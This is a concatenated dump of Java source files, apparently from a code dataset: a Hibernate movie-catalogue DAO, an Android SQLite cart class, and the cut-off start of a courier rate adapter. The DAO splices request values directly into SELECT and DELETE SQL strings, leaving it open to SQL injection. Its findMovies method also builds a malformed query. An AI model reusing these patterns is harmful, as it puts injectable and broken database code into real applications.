PlayInfo tvPlayInfo = movie.getTVPlayInfo();
playInfo.put("PlayPlatform", tvPlayInfo.getPlayPlatform());
playInfo.put("AssetID", tvPlayInfo.getAssetID());
playInfo.put("AssetName", tvPlayInfo.getAssetName());
playInfo.put("ContentProviderID", tvPlayInfo.getContentProviderID());
playInfo.put("ProductOfferingUID", tvPlayInfo.getProductOfferingUID());
playInfo.put("PlayUrl", tvPlayInfo.getPlayUrl());
playInfo.put("PlayUrlID", tvPlayInfo.getPlayUrlID());
playInfo.put("PlaySwfUrl", tvPlayInfo.getPlaySwfUrl());
playInfo.put("MainCacheUrl", tvPlayInfo.getMainCacheUrl());
playInfo.put("Series", tvPlayInfo.getSeries());
playInfo.put("SinglePriceInfo", tvPlayInfo.getSinglePriceInfo());
playInfo.put("CopyRightInfo", tvPlayInfo.getCopyRightInfo());
playInfo.put("VideoCodecInfo", tvPlayInfo.getVideoCodecInfo());
playInfo.put("AudioCodecInfo", tvPlayInfo.getAudioCodecInfo());
playInfo.put("MuxInfo", tvPlayInfo.getMuxInfo());
playInfo.put("RunTimeInfo", tvPlayInfo.getRunTimeInfo());
playInfo.put("ResolutionInfo", tvPlayInfo.getResolutionInfo());
playInfo.put("BitRateInfo", tvPlayInfo.getBitRateInfo());
playInfo.put("OtherInfoArray", tvPlayInfo.getOtherInfoArray2());
playInfo.put("ContentProviderIDArray", tvPlayInfo.getContentProviderIDArray());
playInfo.put("SeriesArray", tvPlayInfo.getSeriesArray());
result.put("PlayInfo", playInfo);
/**
* 添加Poster信息
*/
JSONObject poster = new JSONObject();
Poster tvPoster = movie.getTVPlayPoster();
poster.put("PosterID", tvPoster.getPosterID());
poster.put("ImageUrl", tvPoster.getImageUrl());
poster.put("AspectRatio", tvPoster.getAspectRatio());
poster.put("Series", tvPoster.getSeries());
result.put("Poster", poster);
/**
* 返回结果
*/
return result.toJSONString();
}
public String findMovieRecommend(String columnID, String typeID) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery sqlQuery = null;
/**
* 查询MOVIE
*/
StringBuilder builder = new StringBuilder();
builder.append("SELECT movie_id,movie_name,movie_alias_name,movie_runtime,movie_suggestprice,poster_id,poster_imageurl,poster_aspectratio FROM movie_info");
builder.append(" WHERE column_id = '" + columnID + "' AND movie_type_id = '" + typeID + "'");
builder.append(" ORDER BY movie_recommendclass1 DESC");
builder.append(" LIMIT 5");
sqlQuery = session.createSQLQuery(builder.toString());
List list = sqlQuery.list();
/**
* 处理返回的结果
*/
JSONObject result = new JSONObject();
JSONObject total = new JSONObject();
total.put("TotalNumber", 5);
result.put("ItemNumber", total);
JSONArray items = new JSONArray();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("MovieID", values[0]);
item.put("MovieName", values[1]);
item.put("MovieAliasName", values[2]);
item.put("RunTime", values[3]);
item.put("SuggestPrice", values[4]);
item.put("PosterID", values[5]);
item.put("ImageUrl", values[6]);
item.put("AspectRatio", values[7]);
items.add(item);
}
result.put("Items", items);
return result.toJSONString();
}
/********************************************************变更部分***************************************************/
public void deleteMovieType(String type, String idValue) {
String table = "";
String idColumn = "";
if ("UAP.Type".equals(type)) {
table = "movie_type";
idColumn = "type_id";
} else if ("UAP.Dramatype".equals(type)) {
table = "movie_drama_type";
idColumn = "drama_type_id";
} else if ("UAP.Area".equals(type)) {
table = "movie_area";
idColumn = "area_id";
} else if ("UAP.Areagroup".equals(type)) {
table = "movie_area_group";
idColumn = "area_group_id";
} else if ("UAP.ClientType".equals(type)) {
table = "movie_client_type";
idColumn = "client_type_id";
} else if ("UAP.ChannelType".equals(type)) {
table = "movie_channel_type";
idColumn = "channel_type_id";
} else if ("UAP.EventType".equals(type)) {
table = "movie_event_type";
idColumn = "event_type_id";
}
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery query = session.createSQLQuery("DELETE FROM " + table + " WHERE " + idColumn + " = '" + idValue + "'");
query.executeUpdate();
}
public void deleteMovieColumn(String idValue) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery query = session.createSQLQuery("DELETE FROM movie_column WHERE column_id = '" + idValue + "'");
query.executeUpdate();
}
public void deleteMovieInfo(String idValue) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery query = session.createSQLQuery("DELETE FROM movie_info WHERE movie_id = '" + idValue + "'");
query.executeUpdate();
}
public void deleteMoviePlayInfo(String assetID, String playUrlID) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery query = session.createSQLQuery("DELETE FROM play_info WHERE assetID = '" + assetID + "' OR playUrlID = '" + playUrlID + "'");
query.executeUpdate();
}
}
| UTF-8 | Java | 18,628 | java | MovieDaoImpl.java | Java | [
{
"context": "gUtils;\r\n\r\nimport java.util.List;\r\n\r\n/**\r\n * User: Jack Wang\r\n * Date: 14-11-20\r\n * Time: 上午11:30\r\n */\r\n@Repos",
"end": 739,
"score": 0.9988794922828674,
"start": 730,
"tag": "NAME",
"value": "Jack Wang"
}
] | null | [] | package com.changhong.system.repository;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.changhong.common.repository.HibernateEntityObjectDao;
import com.changhong.common.utils.JodaUtils;
import com.changhong.common.utils.PagingUtils;
import com.changhong.system.domain.movie.MovieInfo;
import com.changhong.system.domain.movie.PlayInfo;
import com.changhong.system.domain.movie.Poster;
import com.changhong.system.domain.movietype.TypeEnum;
import org.hibernate.SQLQuery;
import org.hibernate.Session;
import org.joda.time.DateTime;
import org.springframework.stereotype.Repository;
import org.springframework.util.StringUtils;
import java.util.List;
/**
* User: <NAME>
* Date: 14-11-20
* Time: 上午11:30
*/
@Repository("movieDao")
public class MovieDaoImpl extends HibernateEntityObjectDao implements MovieDao {
public String findIndexRecommend(String page, int size) {
return "";
}
public String findMovieType(TypeEnum type) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
/**
* 返回的结果
*/
JSONObject result = new JSONObject();
JSONArray items = new JSONArray();
/**
* 查询并组装结果
*/
SQLQuery query = null;
List list = null;
if (TypeEnum.TYPE.equals(type)) {
query = session.createSQLQuery("SELECT type_id,type_name,type_sequence,drama_type_id FROM movie_type ORDER BY type_sequence ASC");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
item.put("TypeSequence", values[2]);
item.put("DramaTypeIDs", values[3]);
items.add(item);
}
result.put("Type", items);
} else if (TypeEnum.DatamaType.equals(type)) {
query = session.createSQLQuery("SELECT drama_type_id,drama_type_name,drama_type_sequence FROM movie_drama_type ORDER BY drama_type_sequence ASC");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
item.put("DramaTypeSequence", values[2]);
items.add(item);
}
result.put("DatamaType", items);
} else if (TypeEnum.Area.equals(type)) {
query = session.createSQLQuery("SELECT area_id,area_name,area_group_id FROM movie_area");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
item.put("AreaGroupIDs", values[2]);
items.add(item);
}
result.put("Area", items);
} else if (TypeEnum.AreaGroup.equals(type)) {
query = session.createSQLQuery("SELECT area_group_id,area_group_name FROM movie_area_group");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
items.add(item);
}
result.put("AreaGroup", items);
} else if (TypeEnum.Year.equals(type)) {
int year = Integer.valueOf(JodaUtils.toYearString(new DateTime()));
for (int i = 0; i < 10; i++) {
year = year - i;
JSONObject yearItem = new JSONObject();
yearItem.put("ID", year);
items.add(yearItem);
result.put("Year", items);
}
} else if (TypeEnum.ClientType.equals(type)) {
query = session.createSQLQuery("SELECT client_type_id,client_type_name FROM movie_client_type");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
items.add(item);
}
result.put("Client", items);
} else if (TypeEnum.ChannelType.equals(type)) {
query = session.createSQLQuery("SELECT channel_type_id,channel_type_name FROM movie_channel_type");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
items.add(item);
}
result.put("Channel", items);
} else if (TypeEnum.EventType.equals(type)) {
query = session.createSQLQuery("SELECT event_type_id,event_type_name FROM movie_event_type");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
items.add(item);
}
result.put("Event", items);
}
/**
* 返回结果
*/
return result.toJSONString();
}
public String findColumns(String page) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
/**
* 返回的结果
*/
JSONObject result = new JSONObject();
JSONArray items = new JSONArray();
/**
* 查询并组装结果
*/
SQLQuery query = session.createSQLQuery("SELECT column_id,column_parent_id,column_name,column_alias,column_product_id FROM movie_column ORDER BY column_rank ASC");
List list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ColumnID", values[0]);
item.put("ParentID", values[1]);
item.put("ColumnName", values[2]);
item.put("Alias", values[3]);
item.put("ProductID", values[4]);
items.add(item);
}
result.put("Column", items);
return result.toJSONString();
}
public String findMovies(String query) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery sqlQuery = null;
/**
* 解析JSON
*/
JSONObject queryJSON = JSONObject.parseObject(query);
JSONObject requestParams = queryJSON.getJSONObject("RequestParams");
String columnID = requestParams.getString("ColumnID");
String typeID = requestParams.getString("TypeID");
String dramaTypeID = requestParams.getString("DramaTypeID");
String year = requestParams.getString("Year");
String areaID = requestParams.getString("AreaID");
String areaGroupID = requestParams.getString("AreaGroupID");
String currentPage = requestParams.getString("Page");
/**
* 构造分页
*/
StringBuilder builder = new StringBuilder();
builder.append(" FROM movie_info WHERE");
boolean addAnd = false;
if (StringUtils.hasText(columnID)) {
addAnd = true;
builder.append(" column_id='" + columnID + "'");
}
if (StringUtils.hasText(typeID)) {
if (addAnd) {
builder.append(" AND ");
}
addAnd = true;
builder.append(" movie_type_id='" + typeID + "'");
}
if (StringUtils.hasText(dramaTypeID)) {
if (addAnd) {
builder.append(" AND ");
}
addAnd = true;
builder.append(" drama_type_id='" + dramaTypeID + "'");
}
if (StringUtils.hasText(year)) {
if (addAnd) {
builder.append(" AND ");
}
addAnd = true;
builder.append(" movie_year='" + year + "'");
}
if (StringUtils.hasText(areaID)) {
if (addAnd) {
builder.append(" AND ");
}
addAnd = true;
builder.append(" movie_area_id='" + areaID + "'");
}
sqlQuery = session.createSQLQuery("SELECT count(id)" + builder.toString());
Object[] count = (Object[]) sqlQuery.list().get(0);
int numItems = ((Long) count[0]).intValue();
PagingUtils paging = new PagingUtils(numItems);
paging.setCurrentPage(currentPage);
/**
* 查询MOVIE
*/
builder.append("SELECT movie_id,movie_name,movie_alias_name,movie_runtime,movie_suggestprice" + builder.toString() + " LIMIT " + paging.getStartPosition() + "," + paging.getPageItems());
sqlQuery = session.createSQLQuery(builder.toString());
List list = sqlQuery.list();
/**
* 处理返回的结果
*/
JSONObject result = new JSONObject();
JSONObject total = new JSONObject();
total.put("TotalNumber", numItems);
result.put("ItemNumber", total);
JSONArray items = new JSONArray();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("MovieID", values[0]);
item.put("MovieName", values[1]);
item.put("MovieAliasName", values[2]);
item.put("RunTime", values[3]);
item.put("SuggestPrice", values[4]);
items.add(item);
}
result.put("Items", items);
return result.toJSONString();
}
public String findMovieByID(String movieID) {
MovieInfo movie = (MovieInfo) getHibernateTemplate().find("FROM MovieInfo m WHERE m.movieID = ?", new Object[]{movieID}).get(0);
JSONObject result = new JSONObject();
/**
* 添加MOVIEINFO信息
*/
JSONObject movieInfo = new JSONObject();
movieInfo.put("MovieID", movie.getMovieID());
movieInfo.put("MovieName", movie.getMovieName());
movieInfo.put("MovieAliasName", movie.getMovieAliasName());
movieInfo.put("Area", movie.getArea());
movieInfo.put("AreaID", movie.getAreaID());
movieInfo.put("Type", movie.getType());
movieInfo.put("TypeID", movie.getTypeID());
movieInfo.put("DramaType", movie.getDramaType());
movieInfo.put("DramaTypeID", movie.getDramaTypeID());
movieInfo.put("Year", movie.getYear());
movieInfo.put("Director", movie.getDirector());
movieInfo.put("Actor", movie.getActor());
movieInfo.put("Host", movie.getHost());
movieInfo.put("Station", movie.getStation());
movieInfo.put("Author", movie.getAuthor());
movieInfo.put("RunTime", movie.getRunTime());
movieInfo.put("Count", movie.getRunTime());
movieInfo.put("SummaryShort", movie.getSummaryShort());
movieInfo.put("Commentary", movie.getCommentary());
movieInfo.put("Tag", movie.getTag());
movieInfo.put("SuggestPrice", movie.getSuggestPrice());
movieInfo.put("RecommendClass1", movie.getRecommendClass1());
movieInfo.put("RecommendClass2", movie.getRecommendClass2());
movieInfo.put("RecommendClass3", movie.getRecommendClass3());
movieInfo.put("RecommendClass4", movie.getRecommendClass4());
movieInfo.put("OtherInfoArray", movie.getOtherInfoArray1());
result.put("MovieInfo", movieInfo);
/**
* 添加PlayInfo信息
*/
JSONObject playInfo = new JSONObject();
PlayInfo tvPlayInfo = movie.getTVPlayInfo();
playInfo.put("PlayPlatform", tvPlayInfo.getPlayPlatform());
playInfo.put("AssetID", tvPlayInfo.getAssetID());
playInfo.put("AssetName", tvPlayInfo.getAssetName());
playInfo.put("ContentProviderID", tvPlayInfo.getContentProviderID());
playInfo.put("ProductOfferingUID", tvPlayInfo.getProductOfferingUID());
playInfo.put("PlayUrl", tvPlayInfo.getPlayUrl());
playInfo.put("PlayUrlID", tvPlayInfo.getPlayUrlID());
playInfo.put("PlaySwfUrl", tvPlayInfo.getPlaySwfUrl());
playInfo.put("MainCacheUrl", tvPlayInfo.getMainCacheUrl());
playInfo.put("Series", tvPlayInfo.getSeries());
playInfo.put("SinglePriceInfo", tvPlayInfo.getSinglePriceInfo());
playInfo.put("CopyRightInfo", tvPlayInfo.getCopyRightInfo());
playInfo.put("VideoCodecInfo", tvPlayInfo.getVideoCodecInfo());
playInfo.put("AudioCodecInfo", tvPlayInfo.getAudioCodecInfo());
playInfo.put("MuxInfo", tvPlayInfo.getMuxInfo());
playInfo.put("RunTimeInfo", tvPlayInfo.getRunTimeInfo());
playInfo.put("ResolutionInfo", tvPlayInfo.getResolutionInfo());
playInfo.put("BitRateInfo", tvPlayInfo.getBitRateInfo());
playInfo.put("OtherInfoArray", tvPlayInfo.getOtherInfoArray2());
playInfo.put("ContentProviderIDArray", tvPlayInfo.getContentProviderIDArray());
playInfo.put("SeriesArray", tvPlayInfo.getSeriesArray());
result.put("PlayInfo", playInfo);
/**
* 添加Poster信息
*/
JSONObject poster = new JSONObject();
Poster tvPoster = movie.getTVPlayPoster();
poster.put("PosterID", tvPoster.getPosterID());
poster.put("ImageUrl", tvPoster.getImageUrl());
poster.put("AspectRatio", tvPoster.getAspectRatio());
poster.put("Series", tvPoster.getSeries());
result.put("Poster", poster);
/**
* 返回结果
*/
return result.toJSONString();
}
public String findMovieRecommend(String columnID, String typeID) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery sqlQuery = null;
/**
* 查询MOVIE
*/
StringBuilder builder = new StringBuilder();
builder.append("SELECT movie_id,movie_name,movie_alias_name,movie_runtime,movie_suggestprice,poster_id,poster_imageurl,poster_aspectratio FROM movie_info");
builder.append(" WHERE column_id = '" + columnID + "' AND movie_type_id = '" + typeID + "'");
builder.append(" ORDER BY movie_recommendclass1 DESC");
builder.append(" LIMIT 5");
sqlQuery = session.createSQLQuery(builder.toString());
List list = sqlQuery.list();
/**
* 处理返回的结果
*/
JSONObject result = new JSONObject();
JSONObject total = new JSONObject();
total.put("TotalNumber", 5);
result.put("ItemNumber", total);
JSONArray items = new JSONArray();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("MovieID", values[0]);
item.put("MovieName", values[1]);
item.put("MovieAliasName", values[2]);
item.put("RunTime", values[3]);
item.put("SuggestPrice", values[4]);
item.put("PosterID", values[5]);
item.put("ImageUrl", values[6]);
item.put("AspectRatio", values[7]);
items.add(item);
}
result.put("Items", items);
return result.toJSONString();
}
/********************************************************变更部分***************************************************/
public void deleteMovieType(String type, String idValue) {
String table = "";
String idColumn = "";
if ("UAP.Type".equals(type)) {
table = "movie_type";
idColumn = "type_id";
} else if ("UAP.Dramatype".equals(type)) {
table = "movie_drama_type";
idColumn = "drama_type_id";
} else if ("UAP.Area".equals(type)) {
table = "movie_area";
idColumn = "area_id";
} else if ("UAP.Areagroup".equals(type)) {
table = "movie_area_group";
idColumn = "area_group_id";
} else if ("UAP.ClientType".equals(type)) {
table = "movie_client_type";
idColumn = "client_type_id";
} else if ("UAP.ChannelType".equals(type)) {
table = "movie_channel_type";
idColumn = "channel_type_id";
} else if ("UAP.EventType".equals(type)) {
table = "movie_event_type";
idColumn = "event_type_id";
}
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery query = session.createSQLQuery("DELETE FROM " + table + " WHERE " + idColumn + " = '" + idValue + "'");
query.executeUpdate();
}
public void deleteMovieColumn(String idValue) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery query = session.createSQLQuery("DELETE FROM movie_column WHERE column_id = '" + idValue + "'");
query.executeUpdate();
}
public void deleteMovieInfo(String idValue) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery query = session.createSQLQuery("DELETE FROM movie_info WHERE movie_id = '" + idValue + "'");
query.executeUpdate();
}
public void deleteMoviePlayInfo(String assetID, String playUrlID) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery query = session.createSQLQuery("DELETE FROM play_info WHERE assetID = '" + assetID + "' OR playUrlID = '" + playUrlID + "'");
query.executeUpdate();
}
}
| 18,625 | 0.55947 | 0.555952 | 450 | 39.066666 | 28.657518 | 194 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.915556 | false | false | 9 |
6b1e525573c61a20ea952d38cdbed8d4ccdf514d | 35,991,825,948,701 | 51b6478f0152c01571a27a31053f4667c351832b | /app/src/main/java/com/dthang/myapp/model/cart/ModelCart.java | 97a6fbc4631e48ede90ad858f844fc170b152517 | [] | no_license | Kien0511/StoreApp | https://github.com/Kien0511/StoreApp | 1e126f7e463bdb0e6022a2e58a6aca16f95dbdcb | 8e2b80b84f010dc08f91f5c564d613605ea2eff6 | refs/heads/master | 2020-04-09T04:30:18.821000 | 2018-12-02T14:22:14 | 2018-12-02T14:22:14 | 160,025,675 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.dthang.myapp.model.cart;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.util.Log;
import com.dthang.myapp.model.objectclass.Product;
import java.util.ArrayList;
import java.util.List;
public class ModelCart {
SQLiteDatabase database;
DataProduct dataProduct;
public void open(Context context)
{
dataProduct = new DataProduct(context);
database = dataProduct.getWritableDatabase();
}
public boolean AddCart(Product product)
{
ContentValues contentValues = new ContentValues();
contentValues.put(DataProduct.TB_CART_PRODUCT_ID,product.getPRODUCT_ID());
contentValues.put(DataProduct.TB_CART_PRODUCT_NAME,product.getPRODUCT_NAME());
contentValues.put(DataProduct.TB_CART_PRODUCT_PRICE,product.getPRODUCT_PRICE());
contentValues.put(DataProduct.TB_CART_PRODUCT_IMAGE,product.getCart_image());
long id = database.insert(DataProduct.TB_CART,null,contentValues);
if(id > 0)
{
return true;
}
return false;
}
public List<Product> getListProductInCart()
{
List<Product> list = new ArrayList<>();
String query = "select * from " + DataProduct.TB_CART;
Cursor cursor = database.rawQuery(query,null);
cursor.moveToFirst();
while(!cursor.isAfterLast())
{
int product_id = cursor.getInt(cursor.getColumnIndex(DataProduct.TB_CART_PRODUCT_ID));
String product_name = cursor.getString(cursor.getColumnIndex(DataProduct.TB_CART_PRODUCT_NAME));
int product_price = cursor.getInt(cursor.getColumnIndex(DataProduct.TB_CART_PRODUCT_PRICE));
byte[] product_image = cursor.getBlob(cursor.getColumnIndex(DataProduct.TB_CART_PRODUCT_IMAGE));
Product product = new Product();
product.setPRODUCT_ID(product_id);
product.setPRODUCT_NAME(product_name);
product.setPRODUCT_PRICE(product_price);
product.setCart_image(product_image);
list.add(product);
cursor.moveToNext();
}
cursor.close();
Log.e("cussoor",cursor.getCount()+"");
Log.e("accccc",list.size()+"");
return list;
}
public boolean DeleteCartProduct(int product_id)
{
long id = database.delete(DataProduct.TB_CART,DataProduct.TB_CART_PRODUCT_ID + " = '" + product_id + "'",null);
if(id > 0)
{
return true;
}
return false;
}
}
| UTF-8 | Java | 2,637 | java | ModelCart.java | Java | [] | null | [] | package com.dthang.myapp.model.cart;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.util.Log;
import com.dthang.myapp.model.objectclass.Product;
import java.util.ArrayList;
import java.util.List;
public class ModelCart {
SQLiteDatabase database;
DataProduct dataProduct;
public void open(Context context)
{
dataProduct = new DataProduct(context);
database = dataProduct.getWritableDatabase();
}
public boolean AddCart(Product product)
{
ContentValues contentValues = new ContentValues();
contentValues.put(DataProduct.TB_CART_PRODUCT_ID,product.getPRODUCT_ID());
contentValues.put(DataProduct.TB_CART_PRODUCT_NAME,product.getPRODUCT_NAME());
contentValues.put(DataProduct.TB_CART_PRODUCT_PRICE,product.getPRODUCT_PRICE());
contentValues.put(DataProduct.TB_CART_PRODUCT_IMAGE,product.getCart_image());
long id = database.insert(DataProduct.TB_CART,null,contentValues);
if(id > 0)
{
return true;
}
return false;
}
public List<Product> getListProductInCart()
{
List<Product> list = new ArrayList<>();
String query = "select * from " + DataProduct.TB_CART;
Cursor cursor = database.rawQuery(query,null);
cursor.moveToFirst();
while(!cursor.isAfterLast())
{
int product_id = cursor.getInt(cursor.getColumnIndex(DataProduct.TB_CART_PRODUCT_ID));
String product_name = cursor.getString(cursor.getColumnIndex(DataProduct.TB_CART_PRODUCT_NAME));
int product_price = cursor.getInt(cursor.getColumnIndex(DataProduct.TB_CART_PRODUCT_PRICE));
byte[] product_image = cursor.getBlob(cursor.getColumnIndex(DataProduct.TB_CART_PRODUCT_IMAGE));
Product product = new Product();
product.setPRODUCT_ID(product_id);
product.setPRODUCT_NAME(product_name);
product.setPRODUCT_PRICE(product_price);
product.setCart_image(product_image);
list.add(product);
cursor.moveToNext();
}
cursor.close();
Log.e("cussoor",cursor.getCount()+"");
Log.e("accccc",list.size()+"");
return list;
}
public boolean DeleteCartProduct(int product_id)
{
long id = database.delete(DataProduct.TB_CART,DataProduct.TB_CART_PRODUCT_ID + " = '" + product_id + "'",null);
if(id > 0)
{
return true;
}
return false;
}
}
| 2,637 | 0.646947 | 0.646189 | 84 | 30.392857 | 30.306379 | 119 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.642857 | false | false | 9 |
3493fcaa894bf099b174bd2972f7ac108f83efe8 | 8,641,474,244,047 | b093924775b76408a53136832763f53a95a01d24 | /app/src/main/java/com/example/aspl/fortunecourier/adapter/CheckRateCustomerAdapter.java | 3f719f88907328a16653b72dd0a59a80a2e7aef4 | [] | no_license | AshoreSystems/FortuneCourier_Android | https://github.com/AshoreSystems/FortuneCourier_Android | 6a8b484de0ef1a45fb79736f1791e90a6d10cfc6 | 3bd4d60ce7e0d2064b4c4a762fb29315e3b06aec | refs/heads/master | 2021-05-12T00:15:16.404000 | 2018-02-28T13:25:12 | 2018-02-28T13:25:13 | 117,529,678 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.aspl.fortunecourier.adapter;
/**
* Created by aspl on 28/11/17.
*/
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.graphics.Color;
import android.support.v7.widget.RecyclerView;
import android.text.Html;
import android.text.SpannableString;
import android.text.style.UnderlineSpan;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.LinearLayout;
import android.widget.RadioButton;
import android.widget.TextView;
import com.android.volley.AuthFailureError;
import com.android.volley.NetworkResponse;
import com.android.volley.Request;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.example.aspl.fortunecourier.R;
import com.example.aspl.fortunecourier.activity.customer.CheckRateScreenCustomerActivity;
import com.example.aspl.fortunecourier.activity.customer.ShipmentDetailsCustomerActivity;
import com.example.aspl.fortunecourier.dialog.CustomDialogForHelp;
import com.example.aspl.fortunecourier.model.Rates;
import com.example.aspl.fortunecourier.utility.AppConstant;
import com.example.aspl.fortunecourier.utility.AppSingleton;
import com.example.aspl.fortunecourier.utility.ConnectionDetector;
import com.example.aspl.fortunecourier.utility.JSONConstant;
import com.example.aspl.fortunecourier.utility.SessionManager;
import com.example.aspl.fortunecourier.utility.VolleyResponseListener;
import com.example.aspl.fortunecourier.utility.VolleyUtils;
import com.michael.easydialog.EasyDialog;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class CheckRateCustomerAdapter extends RecyclerView.Adapter<CheckRateCustomerAdapter.ViewHolder> {
private List<Rates> checkRateList;
private Activity mActivity;
private String strForTooltip,strForTooltip1,strForTooltip2,strForTooltip3;
private int mPosition;
private SessionManager mSessionManager;
private ProgressDialog progressBar;
private ConnectionDetector cd;
private ArrayList<Rates> ratesArrayList;
private ArrayList<HashMap<String, String>> dataMapOfPackages;
private ArrayList<HashMap<String,String>> dataMapOfSpecialServices;
public int lastSelectedPosition = -1;
public CheckRateCustomerAdapter(List<Rates> offersListIn, Activity activity) {
checkRateList = offersListIn;
mActivity = activity;
mSessionManager = new SessionManager(mActivity);
cd = new ConnectionDetector(mActivity);
dataMapOfPackages = new ArrayList<HashMap<String, String>>();
}
@Override
public CheckRateCustomerAdapter.ViewHolder onCreateViewHolder(ViewGroup parent,
int viewType) {
View view = LayoutInflater.from(parent.getContext())
.inflate(R.layout.row_check_rate, parent, false);
CheckRateCustomerAdapter.ViewHolder viewHolder = new CheckRateCustomerAdapter.ViewHolder(view);
return viewHolder;
}
@Override
public void onBindViewHolder(final CheckRateCustomerAdapter.ViewHolder holder,
final int position) {
Rates rates = checkRateList.get(position);
mPosition = position;
holder.tv_service_desc.setText(Html.fromHtml(rates.getServiceDescription()));
//holder.tv_service_desc.setText(rates.getServiceDescription());
//holder.tv_amount.setText(rates.getAmount());
if(!rates.getDeliveryDate().isEmpty()){
holder.tv_delivery_timestamp.setText(rates.getDeliveryDate());
}else {
holder.tv_delivery_timestamp.setText("Delivery Date Time Not Available.");
}
//holder.tv_delivery_timestamp.setText(rates.getDeliveryDate());
SpannableString content = new SpannableString("$"+rates.getAmount());
content.setSpan(new UnderlineSpan(), 0, content.length(), 0);
holder.tv_amount.setText(content);
holder.tv_amount.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
strForTooltip = "BaseAmount : $"+checkRateList.get(position).getBaseAmount();
strForTooltip1 = checkRateList.get(position).getCs_surcharge_title()+": $"+checkRateList.get(position).getCs_surcharge();
strForTooltip2 = checkRateList.get(position).getCs_tax1_title()+": $"+checkRateList.get(position).getCs_tax1();
strForTooltip3 = checkRateList.get(position).getCs_tax2_title()+": $"+checkRateList.get(position).getCs_tax2();
openToolTip(mActivity,holder.tv_amount,"bottom",strForTooltip,strForTooltip1,strForTooltip2,strForTooltip3);
}
});
holder.rb_select.setChecked(lastSelectedPosition == position);
}
@Override
public int getItemCount() {
return checkRateList.size();
}
public class ViewHolder extends RecyclerView.ViewHolder {
public TextView tv_service_desc,tv_amount,tv_delivery_timestamp;
public RadioButton rb_select;
public LinearLayout ll_row;
public ViewHolder(View view) {
super(view);
ll_row = (LinearLayout) view.findViewById(R.id.ll_row);
tv_service_desc = (TextView) view.findViewById(R.id.tv_service_desc);
tv_amount = (TextView) view.findViewById(R.id.tv_amount);
tv_delivery_timestamp = (TextView) view.findViewById(R.id.tv_delivery_timestamp);
rb_select = (RadioButton) view.findViewById(R.id.rb_select);
rb_select.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
lastSelectedPosition = getAdapterPosition();
notifyDataSetChanged();
if (AppConstant.noOfSpecialServices.size() > 0) {
if (cd.isConnectingToInternet()) {
getSpecialServices(checkRateList.get(lastSelectedPosition).getServiceDescription());
} else {
CustomDialogForHelp customDialogForHelp = new CustomDialogForHelp(mActivity, mActivity.getResources().getString(R.string.app_name), mActivity.getResources().getString(R.string.err_msg_internet));
customDialogForHelp.show();
}
}
}
});
}
}
public void openToolTip(Activity activity, View viewToolTip,String topOrBottom,String strForTooltip,String strForTooltip1,String strForTooltip2,String strForTooltip3 ){
View view = activity.getLayoutInflater().inflate(R.layout.layout_tooltip, null);
TextView tv_mesg=(TextView)view.findViewById(R.id.tv_mesg);
tv_mesg.setText(strForTooltip);
TextView tv_mesg1=(TextView)view.findViewById(R.id.tv_mesg1);
tv_mesg1.setText(Html.fromHtml(strForTooltip1));
TextView tv_mesg2=(TextView)view.findViewById(R.id.tv_mesg2);
tv_mesg2.setText(Html.fromHtml(strForTooltip2));
TextView tv_mesg3=(TextView)view.findViewById(R.id.tv_mesg3);
tv_mesg3.setText(Html.fromHtml(strForTooltip3));
int gravity;
